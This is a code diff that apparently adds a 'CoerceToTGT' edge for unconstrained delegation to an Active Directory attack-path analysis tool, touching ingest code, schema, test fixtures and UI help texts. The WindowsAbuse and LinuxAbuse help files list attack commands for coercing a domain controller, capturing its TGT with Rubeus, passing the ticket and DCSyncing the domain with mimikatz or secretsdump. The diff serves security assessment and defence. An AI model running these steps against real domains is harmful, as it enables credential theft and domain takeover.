diff --git a/cmd/api/src/test/fixtures/fixtures/expected_ingest.go b/cmd/api/src/test/fixtures/fixtures/expected_ingest.go index 123cf4f5f4..9c3f42393c 100644 --- a/cmd/api/src/test/fixtures/fixtures/expected_ingest.go +++ b/cmd/api/src/test/fixtures/fixtures/expected_ingest.go @@ -157,6 +157,12 @@ var ( query.Kind(query.Relationship(), ad.HasSession), query.Kind(query.End(), ad.User), query.Equals(query.EndProperty(common.ObjectID.String()), "S-1-5-21-3130019616-2776909439-2417379446-1108")), + query.And( + query.Kind(query.Start(), ad.Computer), + query.Equals(query.StartProperty(common.ObjectID.String()), "S-1-5-21-3130019616-2776909439-2417379446-2120"), + query.Kind(query.Relationship(), ad.CoerceToTGT), + query.Kind(query.End(), ad.Domain), + query.Equals(query.EndProperty(common.ObjectID.String()), "S-1-5-21-3130019616-2776909439-2417379446")), //// GPOs query.And( @@ -242,6 +248,12 @@ var ( query.Kind(query.Relationship(), ad.AllExtendedRights), query.Kind(query.End(), ad.User), query.Equals(query.EndProperty(common.ObjectID.String()), "S-1-5-21-3130019616-2776909439-2417379446-1106")), + query.And( + query.Kind(query.Start(), ad.User), + query.Equals(query.StartProperty(common.ObjectID.String()), "S-1-5-21-3130019616-2776909439-2417379446-2125"), + query.Kind(query.Relationship(), ad.CoerceToTGT), + query.Kind(query.End(), ad.Domain), + query.Equals(query.EndProperty(common.ObjectID.String()), "S-1-5-21-3130019616-2776909439-2417379446")), //// SESSIONS query.And( diff --git a/cmd/api/src/test/fixtures/fixtures/v6/ingest/computers.json b/cmd/api/src/test/fixtures/fixtures/v6/ingest/computers.json index b4b455cbec..ba33f87eb0 100644 --- a/cmd/api/src/test/fixtures/fixtures/v6/ingest/computers.json +++ b/cmd/api/src/test/fixtures/fixtures/v6/ingest/computers.json @@ -475,6 +475,8 @@ "sidhistory": [ ] }, + "UnconstrainedDelegation": true, + "DomainSID": "S-1-5-21-3130019616-2776909439-2417379446", "PrimaryGroupSID": "S-1-5-21-3130019616-2776909439-2417379446-515", "AllowedToDelegate": [ ], diff --git a/cmd/api/src/test/fixtures/fixtures/v6/ingest/users.json b/cmd/api/src/test/fixtures/fixtures/v6/ingest/users.json index c37693278f..8adb9784b1 100644 --- a/cmd/api/src/test/fixtures/fixtures/v6/ingest/users.json +++ b/cmd/api/src/test/fixtures/fixtures/v6/ingest/users.json @@ -889,6 +889,39 @@ "IsDeleted": false, "IsACLProtected": false }, + { + "Properties": { + "domain": "TESTLAB.LOCAL", + "name": "UNCONDEL@TESTLAB.LOCAL", + "distinguishedname": "CN\u003dADDALLOWEDTOACTTEST,CN\u003dUSERS,DC\u003dTESTLAB,DC\u003dLOCAL", + "domainsid": "S-1-5-21-3130019616-2776909439-2417379446", + "whencreated": 1617618036, + "sensitive": false, + "dontreqpreauth": false, + "passwordnotreqd": false, + "unconstraineddelegation": true, + "pwdneverexpires": true, + "enabled": true, + "trustedtoauth": false, + "lastlogon": 0, + "lastlogontimestamp": -1, + "pwdlastset": 1617643236, + "serviceprincipalnames": [], + "hasspn": false, + "admincount": false, + "sidhistory": [] + }, + "AllowedToDelegate": [], + "DomainSID": "S-1-5-21-3130019616-2776909439-2417379446", + "UnconstrainedDelegation": true, + "PrimaryGroupSID": "S-1-5-21-3130019616-2776909439-2417379446-513", + "HasSIDHistory": [], + "SpnTargets": [], + "Aces": [], + "ObjectIdentifier": "S-1-5-21-3130019616-2776909439-2417379446-2125", + "IsDeleted": false, + "IsACLProtected": false + }, { "Properties": { "domain": "TESTLAB.LOCAL", diff --git a/packages/cue/bh/ad/ad.cue b/packages/cue/bh/ad/ad.cue index 4ba6091a29..00a0cbfaa8 100644 --- a/packages/cue/bh/ad/ad.cue +++ b/packages/cue/bh/ad/ad.cue @@ -1018,6 +1018,11 @@ AllowedToDelegate: types.#Kind & { schema: "active_directory" } +CoerceToTGT: types.#Kind & { + symbol: "CoerceToTGT" + schema: "active_directory" +} + GetChanges: types.#Kind & { symbol: "GetChanges" schema: "active_directory" @@ -1308,6 +1313,7 @@ RelationshipKinds: [ Contains, GPLink, AllowedToDelegate, + CoerceToTGT, GetChanges, GetChangesAll, GetChangesInFilteredSet, @@ -1411,6 +1417,7 @@ PathfindingRelationships: [ Contains, GPLink, AllowedToDelegate, + CoerceToTGT, TrustedBy, AllowedToAct, AdminTo, diff --git a/packages/go/cypher/test/cases/positive_tests.json b/packages/go/cypher/test/cases/positive_tests.json index e1f6c7aefe..f48f47dfb8 100644 --- a/packages/go/cypher/test/cases/positive_tests.json +++ b/packages/go/cypher/test/cases/positive_tests.json @@ -709,7 +709,7 @@ "name": "Find Dangerous Privileges for Domain Users Groups", "type": "string_match", "details": { - "query": "match p = (m:Group)-[:Owns|GenericAll|GenericWrite|WriteOwner|WriteDacl|MemberOf|ForceChangePassword|AllExtendedRights|AddMember|HasSession|Contains|GPLink|AllowedToDelegate|TrustedBy|AllowedToAct|AdminTo|CanPSRemote|CanRDP|ExecuteDCOM|HasSIDHistory|AddSelf|DCSync|ReadLAPSPassword|ReadGMSAPassword|DumpSMSAPassword|SQLAdmin|AddAllowedToAct|WriteSPN|AddKeyCredentialLink|SyncLAPSPassword|WriteAccountRestrictions|GoldenCert|ADCSESC1|ADCSESC3|ADCSESC4|ADCSESC5|ADCSESC6a|ADCSESC6b|ADCSESC7|ADCSESC9a|ADCSESC9b|ADCSESC10a|ADCSESC10b|ADCSESC13|DCFor|SyncedToEntraUser]->(n:Base) where m.objectid ends with '-513' return p", + "query": "match p = (m:Group)-[:Owns|GenericAll|GenericWrite|WriteOwner|WriteDacl|MemberOf|ForceChangePassword|AllExtendedRights|AddMember|HasSession|Contains|GPLink|AllowedToDelegate|CoerceToTGT|TrustedBy|AllowedToAct|AdminTo|CanPSRemote|CanRDP|ExecuteDCOM|HasSIDHistory|AddSelf|DCSync|ReadLAPSPassword|ReadGMSAPassword|DumpSMSAPassword|SQLAdmin|AddAllowedToAct|WriteSPN|AddKeyCredentialLink|SyncLAPSPassword|WriteAccountRestrictions|GoldenCert|ADCSESC1|ADCSESC3|ADCSESC4|ADCSESC5|ADCSESC6a|ADCSESC6b|ADCSESC7|ADCSESC9a|ADCSESC9b|ADCSESC10a|ADCSESC10b|ADCSESC13|DCFor|SyncedToEntraUser]->(n:Base) where m.objectid ends with '-513' return p", "complexity": 3 } }, diff --git a/packages/go/ein/ad.go b/packages/go/ein/ad.go index 48a0205d30..ab669e5bff 100644 --- a/packages/go/ein/ad.go +++ b/packages/go/ein/ad.go @@ -235,6 +235,31 @@ func ParseUserMiscData(user User) []IngestibleRelationship { )) } + // CoerceToTGT / unconstrained delegation + uncondel := user.UnconstrainedDelegation + uncondelProps, _ := user.Properties[strings.ToLower(ad.UnconstrainedDelegation.String())].(bool) // SH v2.5.7 and earlier have unconstraineddelegation under 'Properties' only + if uncondel || uncondelProps { + domainsid := user.DomainSID + if domainsid == "" { // SH v2.5.7 and earlier have domainsid under 'Properties' only + domainsid, _ = user.Properties[strings.ToLower(ad.DomainSID.String())].(string) + } + + data = append(data, NewIngestibleRelationship( + IngestibleSource{ + Source: user.ObjectIdentifier, + SourceType: ad.User, + }, + IngestibleTarget{ + Target: domainsid, + TargetType: ad.Domain, + }, + IngestibleRel{ + RelProps: map[string]any{"isacl": false}, + RelType: ad.CoerceToTGT, + }, + )) + } + return data } @@ -341,7 +366,7 @@ func ParseDomainTrusts(domain Domain) ParsedDomainTrustData { return parsedData } -// ParseComputerMiscData parses AllowedToDelegate, AllowedToAct, HasSIDHistory,DumpSMSAPassword,DCFor and Sessions +// ParseComputerMiscData parses AllowedToDelegate, AllowedToAct, HasSIDHistory, DumpSMSAPassword, DCFor, Sessions, and CoerceToTGT func ParseComputerMiscData(computer Computer) []IngestibleRelationship { relationships := make([]IngestibleRelationship, 0) for _, target := range computer.AllowedToDelegate { @@ -484,6 +509,25 @@ func ParseComputerMiscData(computer Computer) []IngestibleRelationship { RelType: ad.DCFor, }, )) + } else { // We do not want CoerceToTGT edges from DCs + uncondel := computer.UnconstrainedDelegation + uncondelProps, _ := computer.Properties[strings.ToLower(ad.UnconstrainedDelegation.String())].(bool) // SH v2.5.7 and earlier have unconstraineddelegation under 'Properties' only + if uncondel || uncondelProps { + relationships = append(relationships, NewIngestibleRelationship( + IngestibleSource{ + Source: computer.ObjectIdentifier, + SourceType: ad.Computer, + }, + IngestibleTarget{ + Target: computer.DomainSID, + TargetType: ad.Domain, + }, + IngestibleRel{ + RelProps: map[string]any{"isacl": false}, + RelType: ad.CoerceToTGT, + }, + )) + } } return relationships diff --git a/packages/go/ein/incoming_models.go b/packages/go/ein/incoming_models.go index b4564a6d3f..da48a84748 100644 --- a/packages/go/ein/incoming_models.go +++ b/packages/go/ein/incoming_models.go @@ -189,10 +189,12 @@ type Group struct { type User struct { IngestBase - AllowedToDelegate []TypedPrincipal - SPNTargets []SPNTarget - PrimaryGroupSID string - HasSIDHistory []TypedPrincipal + AllowedToDelegate []TypedPrincipal + SPNTargets []SPNTarget + PrimaryGroupSID string + HasSIDHistory []TypedPrincipal + DomainSID string + UnconstrainedDelegation bool } type Container struct { @@ -260,20 +262,21 @@ type UserRightsAssignmentAPIResult struct { type Computer struct { IngestBase - PrimaryGroupSID string - AllowedToDelegate []TypedPrincipal - AllowedToAct []TypedPrincipal - DumpSMSAPassword []TypedPrincipal - Sessions SessionAPIResult - PrivilegedSessions SessionAPIResult - RegistrySessions SessionAPIResult - LocalGroups []LocalGroupAPIResult - UserRights []UserRightsAssignmentAPIResult - DCRegistryData DCRegistryData - Status ComputerStatus - HasSIDHistory []TypedPrincipal - IsDC bool - DomainSID string + PrimaryGroupSID string + AllowedToDelegate []TypedPrincipal + AllowedToAct []TypedPrincipal + DumpSMSAPassword []TypedPrincipal + Sessions SessionAPIResult + PrivilegedSessions SessionAPIResult + RegistrySessions SessionAPIResult + LocalGroups []LocalGroupAPIResult + UserRights []UserRightsAssignmentAPIResult + DCRegistryData DCRegistryData + Status ComputerStatus + HasSIDHistory []TypedPrincipal + IsDC bool + DomainSID string + UnconstrainedDelegation bool } type OU struct { diff --git a/packages/go/graphschema/ad/ad.go b/packages/go/graphschema/ad/ad.go index 27e38f0da3..c3f7a33a87 100644 --- a/packages/go/graphschema/ad/ad.go +++ b/packages/go/graphschema/ad/ad.go @@ -54,6 +54,7 @@ var ( Contains = graph.StringKind("Contains") GPLink = graph.StringKind("GPLink") AllowedToDelegate = graph.StringKind("AllowedToDelegate") + CoerceToTGT = graph.StringKind("CoerceToTGT") GetChanges = graph.StringKind("GetChanges") GetChangesAll = graph.StringKind("GetChangesAll") GetChangesInFilteredSet = graph.StringKind("GetChangesInFilteredSet") @@ -857,13 +858,13 @@ func Nodes() []graph.Kind { return []graph.Kind{Entity, User, Computer, Group, GPO, OU, Container, Domain, LocalGroup, LocalUser, AIACA, RootCA, EnterpriseCA, NTAuthStore, CertTemplate, IssuancePolicy} } func Relationships() []graph.Kind { - return []graph.Kind{Owns, GenericAll, GenericWrite, WriteOwner, WriteDACL, MemberOf, ForceChangePassword, AllExtendedRights, AddMember, HasSession, Contains, GPLink, AllowedToDelegate, GetChanges, GetChangesAll, GetChangesInFilteredSet, TrustedBy, AllowedToAct, AdminTo, CanPSRemote, CanRDP, ExecuteDCOM, HasSIDHistory, AddSelf, DCSync, ReadLAPSPassword, ReadGMSAPassword, DumpSMSAPassword, SQLAdmin, AddAllowedToAct, WriteSPN, AddKeyCredentialLink, LocalToComputer, MemberOfLocalGroup, RemoteInteractiveLogonPrivilege, SyncLAPSPassword, WriteAccountRestrictions, WriteGPLink, RootCAFor, DCFor, PublishedTo, ManageCertificates, ManageCA, DelegatedEnrollmentAgent, Enroll, HostsCAService, WritePKIEnrollmentFlag, WritePKINameFlag, NTAuthStoreFor, TrustedForNTAuth, EnterpriseCAFor, IssuedSignedBy, GoldenCert, EnrollOnBehalfOf, OIDGroupLink, ExtendedByPolicy, ADCSESC1, ADCSESC3, ADCSESC4, ADCSESC5, ADCSESC6a, ADCSESC6b, ADCSESC7, ADCSESC9a, ADCSESC9b, ADCSESC10a, ADCSESC10b, ADCSESC13, SyncedToEntraUser} + return []graph.Kind{Owns, GenericAll, GenericWrite, WriteOwner, WriteDACL, MemberOf, ForceChangePassword, AllExtendedRights, AddMember, HasSession, Contains, GPLink, AllowedToDelegate, CoerceToTGT, GetChanges, GetChangesAll, GetChangesInFilteredSet, TrustedBy, AllowedToAct, AdminTo, CanPSRemote, CanRDP, ExecuteDCOM, HasSIDHistory, AddSelf, DCSync, ReadLAPSPassword, ReadGMSAPassword, DumpSMSAPassword, SQLAdmin, AddAllowedToAct, WriteSPN, AddKeyCredentialLink, LocalToComputer, MemberOfLocalGroup, RemoteInteractiveLogonPrivilege, SyncLAPSPassword, WriteAccountRestrictions, WriteGPLink, RootCAFor, DCFor, PublishedTo, ManageCertificates, ManageCA, DelegatedEnrollmentAgent, Enroll, HostsCAService, WritePKIEnrollmentFlag, WritePKINameFlag, NTAuthStoreFor, TrustedForNTAuth, EnterpriseCAFor, IssuedSignedBy, GoldenCert, EnrollOnBehalfOf, OIDGroupLink, ExtendedByPolicy, ADCSESC1, ADCSESC3, ADCSESC4, ADCSESC5, ADCSESC6a, ADCSESC6b, ADCSESC7, ADCSESC9a, ADCSESC9b, ADCSESC10a, ADCSESC10b, ADCSESC13, SyncedToEntraUser} } func ACLRelationships() []graph.Kind { return []graph.Kind{AllExtendedRights, ForceChangePassword, AddMember, AddAllowedToAct, GenericAll, WriteDACL, WriteOwner, GenericWrite, ReadLAPSPassword, ReadGMSAPassword, Owns, AddSelf, WriteSPN, AddKeyCredentialLink, GetChanges, GetChangesAll, GetChangesInFilteredSet, WriteAccountRestrictions, WriteGPLink, SyncLAPSPassword, DCSync, ManageCertificates, ManageCA, Enroll, WritePKIEnrollmentFlag, WritePKINameFlag} } func PathfindingRelationships() []graph.Kind { - return []graph.Kind{Owns, GenericAll, GenericWrite, WriteOwner, WriteDACL, MemberOf, ForceChangePassword, AllExtendedRights, AddMember, HasSession, Contains, GPLink, AllowedToDelegate, TrustedBy, AllowedToAct, AdminTo, CanPSRemote, CanRDP, ExecuteDCOM, HasSIDHistory, AddSelf, DCSync, ReadLAPSPassword, ReadGMSAPassword, DumpSMSAPassword, SQLAdmin, AddAllowedToAct, WriteSPN, AddKeyCredentialLink, SyncLAPSPassword, WriteAccountRestrictions, WriteGPLink, GoldenCert, ADCSESC1, ADCSESC3, ADCSESC4, ADCSESC5, ADCSESC6a, ADCSESC6b, ADCSESC7, ADCSESC9a, ADCSESC9b, ADCSESC10a, ADCSESC10b, ADCSESC13, DCFor, SyncedToEntraUser} + return []graph.Kind{Owns, GenericAll, GenericWrite, WriteOwner, WriteDACL, MemberOf, ForceChangePassword, AllExtendedRights, AddMember, HasSession, Contains, GPLink, AllowedToDelegate, CoerceToTGT, TrustedBy, AllowedToAct, AdminTo, CanPSRemote, CanRDP, ExecuteDCOM, HasSIDHistory, AddSelf, DCSync, ReadLAPSPassword, ReadGMSAPassword, DumpSMSAPassword, SQLAdmin, AddAllowedToAct, WriteSPN, AddKeyCredentialLink, SyncLAPSPassword, WriteAccountRestrictions, WriteGPLink, GoldenCert, ADCSESC1, ADCSESC3, ADCSESC4, ADCSESC5, ADCSESC6a, ADCSESC6b, ADCSESC7, ADCSESC9a, ADCSESC9b, ADCSESC10a, ADCSESC10b, ADCSESC13, DCFor, SyncedToEntraUser} } func IsACLKind(s graph.Kind) bool { for _, acl := range ACLRelationships() { diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/CoerceToTGT.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/CoerceToTGT.tsx new file mode 100644 index 0000000000..f9a8553230 --- /dev/null +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/CoerceToTGT.tsx @@ -0,0 +1,31 @@ +// Copyright 2023 Specter Ops, Inc. +// +// Licensed under the Apache License, Version 2.0 +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +import General from './General'; +import WindowsAbuse from './WindowsAbuse'; +import LinuxAbuse from './LinuxAbuse'; +import Opsec from './Opsec'; +import References from './References'; + +const CoerceToTGT = { + general: General, + windowsAbuse: WindowsAbuse, + linuxAbuse: LinuxAbuse, + opsec: Opsec, + references: References, +}; + +export default CoerceToTGT; diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/General.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/General.tsx new file mode 100644 index 0000000000..cc822c1c98 --- /dev/null +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/General.tsx @@ -0,0 +1,44 @@ +// Copyright 2023 Specter Ops, Inc. +// +// Licensed under the Apache License, Version 2.0 +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +import { FC } from 'react'; +import { typeFormat } from '../utils'; +import { EdgeInfoProps } from '../index'; +import { Typography } from '@mui/material'; + +const General: FC = ({ sourceName, sourceType }) => { + return ( + <> + + The {typeFormat(sourceType)} {sourceName} is configured with Kerberos unconstrained delegation. + + + + Users and computers authenticating against {sourceName} will have their Kerberos TGT sent to{' '} + {sourceName}, unless they are marked as sensitive or members of Protected Users. + + + + An attacker with control over {sourceName} can coerce a Tier Zero computer (e.g. DC) to authenticate + against {sourceName} and obtain the target's TGT. With the TGT of a DC, the attacker can perform DCSync + to compromise the domain. Alternatively, the TGT can be used to obtain admin access to the target host + with a shadow credentials + silver ticket attack or a resource-based constrained delegation attack. + + + ); +}; + +export default General; diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/LinuxAbuse.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/LinuxAbuse.tsx new file mode 100644 index 0000000000..a63611bae1 --- /dev/null +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/LinuxAbuse.tsx @@ -0,0 +1,105 @@ +// Copyright 2023 Specter Ops, Inc. +// +// Licensed under the Apache License, Version 2.0 +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +import { FC } from 'react'; +import { Typography } from '@mui/material'; +import { EdgeInfoProps } from '../index'; +import CodeController from '../CodeController/CodeController'; + +const LinuxAbuse: FC = ({ sourceName, sourceType }) => { + const intro = ( + <> + + A common way for attackers to abuse unconstrained delegation is for the attacker to coerce a DC using + the printspooler. + + + The attack will fail if the target is a member of Protected Users or marked as sensitive, as the TGT of + those principals will not be sent to the principal with unconstrained delegation. You can find all the + protected principals with this Cypher query: + + + {`MATCH (g:Group) + WHERE g.objectid ENDS WITH "-525" + MATCH (n:Base) + WHERE n.sensitive = TRUE OR (n)-[:MemberOf*..]->(g) + RETURN n + LIMIT 1000`} + + + There are many other coercion techniques than printspooler that can be used (see References). + + + ); + + if (sourceType == 'Computer') { + return ( + <> + {intro} + Step 1: Start monitoring for TGTs + + This step cannot be performed from Linux as we are abusing unconstrained delegation on a given AD + computer, which is likely a Windows computer. + + + Log in on the {sourceName} computer configured with unconstrained delegation and open CMD as + Administrator. + + Start monitoring for incoming TGTs using Rubeus: + + {'Rubeus.exe request monitor /user:targetdc.domain.local /interval:5 /nowrap'} + + + Step 2: Coerce target DC + + Coerce the target DC using printerbug.py with the credentials of any AD user: + + + {"printerbug.py '/:'@ "} + + Rubeus will print the DC TGT as it is received. + + Step 3: Pass the Ticket + Save the TGT base64 blob as a .kirbi file: + + {'echo "doIFvjCCBbqgAwI..." | base64 -d | tee ticket.kirbi > /dev/null'} + + Convert the TGT to ccache format using ticketConverter.py: + {'ticketConverter.py ticket.kirbi ticket.ccache'} + Set the KRB5CCNAME environment variable to the ticket's path: + {'export KRB5CCNAME=$path_to_ticket.ccache'} + + Step 4: DCSync target domain + Use secretsdump.py to DCSync the target domain: + + {'secretsdump.py -k -just-dc-user '} + + + ); + } else { + return ( + <> + {intro} + + See 'Abusing Users Configured with Unconstrained Delegation' under References for details on the + execution. + + + ); + } +}; + +export default LinuxAbuse; diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/Opsec.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/Opsec.tsx new file mode 100644 index 0000000000..62e5160cb9 --- /dev/null +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/Opsec.tsx @@ -0,0 +1,24 @@ +// Copyright 2023 Specter Ops, Inc. +// +// Licensed under the Apache License, Version 2.0 +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +import { FC } from 'react'; +import { Typography } from '@mui/material'; + +const Opsec: FC = () => { + return There is no opsec information for this edge.; +}; + +export default Opsec; diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/References.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/References.tsx new file mode 100644 index 0000000000..3d6caf32b8 --- /dev/null +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/References.tsx @@ -0,0 +1,88 @@ +// Copyright 2023 Specter Ops, Inc. +// +// Licensed under the Apache License, Version 2.0 +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +import { FC } from 'react'; +import { Link, Box } from '@mui/material'; + +const References: FC = () => { + return ( + + + Not A Security Boundary: Breaking Forest Trusts + +
+ + Hunting in Active Directory: Unconstrained Delegation & Forests Trusts + +
+ + Abusing Users Configured with Unconstrained Delegation + +
+ + (RBCD) Resource-based constrained + +
+ + Windows Coerced Authentication Methods + +
+ + Rubeus + +
+ + SpoolSample + +
+ + mimikatz + +
+ + printerbug.py + +
+ + ticketConverter.py + +
+ + secretsdump.py + +
+ ); +}; + +export default References; diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/WindowsAbuse.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/WindowsAbuse.tsx new file mode 100644 index 0000000000..5dcb16e613 --- /dev/null +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/WindowsAbuse.tsx @@ -0,0 +1,100 @@ +// Copyright 2023 Specter Ops, Inc. +// +// Licensed under the Apache License, Version 2.0 +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +import { FC } from 'react'; +import { Typography } from '@mui/material'; +import { EdgeInfoProps } from '../index'; +import CodeController from '../CodeController/CodeController'; + +const WindowsAbuse: FC = ({ sourceName, sourceType }) => { + const intro = ( + <> + + A common way for attackers to abuse unconstrained delegation is for the attacker to coerce a DC using + the printspooler. + + + The attack will fail if the target is a member of Protected Users or marked as sensitive, as the TGT of + those principals will not be sent to the principal with unconstrained delegation. You can find all the + protected principals with this Cypher query: + + + {`MATCH (g:Group) + WHERE g.objectid ENDS WITH "-525" + MATCH (n:Base) + WHERE n.sensitive = TRUE OR (n)-[:MemberOf*..]->(g) + RETURN n + LIMIT 1000`} + + + There are many other coercion techniques than printspooler that can be used (see References). + + + ); + + if (sourceType == 'Computer') { + return ( + <> + {intro} + Step 1: Start monitoring for TGTs + + Log in on the {sourceName} computer configured with unconstrained delegation and open CMD as + Administrator. + + Start monitoring for incoming TGTs using Rubeus: + + {'Rubeus.exe request monitor /user:targetdc.domain.local /interval:5 /nowrap'} + + + Step 2: Coerce target DC + + From any host in the domain, coerce the target DC using SpoolSample: + + + {'SpoolSample.exe targetdc.domain.local uncondel.domain.local'} + + Rubeus will print the DC TGT as it is received. + + + Step 3: Pass the Ticket + + Inject the DC TGT into memory using Rubeus on any computer in the domain: + + {'Rubeus.exe ptt /ticket:doIFvjCCBbqgAwI...'} + + Step 4: DCSync target domain + + Use mimikatz to DCSync the domain from the computer where the DC TGT was injected: + + + {'lsadump::dcsync /domain:domain.local /user:DOMAIN\\Administrator'} + + + ); + } else { + return ( + <> + {intro} + + See 'Abusing Users Configured with Unconstrained Delegation' under References for details on the + execution. + + + ); + } +}; + +export default WindowsAbuse; diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/index.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/index.tsx index 299ce6ff19..1b0fe09bf4 100644 --- a/packages/javascript/bh-shared-ui/src/components/HelpTexts/index.tsx +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/index.tsx @@ -66,6 +66,7 @@ import AllowedToAct from './AllowedToAct/AllowedToAct'; import AllowedToDelegate from './AllowedToDelegate/AllowedToDelegate'; import CanPSRemote from './CanPSRemote/CanPSRemote'; import CanRDP from './CanRDP/CanRDP'; +import CoerceToTGT from './CoerceToTGT/CoerceToTGT'; import Contains from './Contains/Contains'; import DCSync from './DCSync/DCSync'; import DCFor from './DCFor/DCFor'; @@ -146,6 +147,7 @@ const EdgeInfoComponents = { CanRDP: CanRDP, ExecuteDCOM: ExecuteDCOM, AllowedToDelegate: AllowedToDelegate, + CoerceToTGT: CoerceToTGT, GetChanges: GetChanges, GetChangesAll: GetChangesAll, ReadLAPSPassword: ReadLAPSPassword, diff --git a/packages/javascript/bh-shared-ui/src/graphSchema.ts b/packages/javascript/bh-shared-ui/src/graphSchema.ts index ec571e5225..701db766f3 100644 --- a/packages/javascript/bh-shared-ui/src/graphSchema.ts +++ b/packages/javascript/bh-shared-ui/src/graphSchema.ts @@ -84,6 +84,7 @@ export enum ActiveDirectoryRelationshipKind { Contains = 'Contains', GPLink = 'GPLink', AllowedToDelegate = 'AllowedToDelegate', + CoerceToTGT = 'CoerceToTGT', GetChanges = 'GetChanges', GetChangesAll = 'GetChangesAll', GetChangesInFilteredSet = 'GetChangesInFilteredSet', @@ -169,6 +170,8 @@ export function ActiveDirectoryRelationshipKindToDisplay(value: ActiveDirectoryR return 'GPLink'; case ActiveDirectoryRelationshipKind.AllowedToDelegate: return 'AllowedToDelegate'; + case ActiveDirectoryRelationshipKind.CoerceToTGT: + return 'CoerceToTGT'; case ActiveDirectoryRelationshipKind.GetChanges: return 'GetChanges'; case ActiveDirectoryRelationshipKind.GetChangesAll: @@ -625,6 +628,7 @@ export function ActiveDirectoryPathfindingEdges(): ActiveDirectoryRelationshipKi ActiveDirectoryRelationshipKind.Contains, ActiveDirectoryRelationshipKind.GPLink, ActiveDirectoryRelationshipKind.AllowedToDelegate, + ActiveDirectoryRelationshipKind.CoerceToTGT, ActiveDirectoryRelationshipKind.TrustedBy, ActiveDirectoryRelationshipKind.AllowedToAct, ActiveDirectoryRelationshipKind.AdminTo, diff --git a/packages/javascript/bh-shared-ui/src/views/Explore/ExploreSearch/edgeTypes.tsx b/packages/javascript/bh-shared-ui/src/views/Explore/ExploreSearch/edgeTypes.tsx index cd219576bb..33bf0ca6dd 100644 --- a/packages/javascript/bh-shared-ui/src/views/Explore/ExploreSearch/edgeTypes.tsx +++ b/packages/javascript/bh-shared-ui/src/views/Explore/ExploreSearch/edgeTypes.tsx @@ -62,6 +62,7 @@ export const AllEdgeTypes: Category[] = [ { name: 'Credential Access', edgeTypes: [ + ActiveDirectoryRelationshipKind.CoerceToTGT, ActiveDirectoryRelationshipKind.DCSync, ActiveDirectoryRelationshipKind.DumpSMSAPassword, ActiveDirectoryRelationshipKind.HasSession,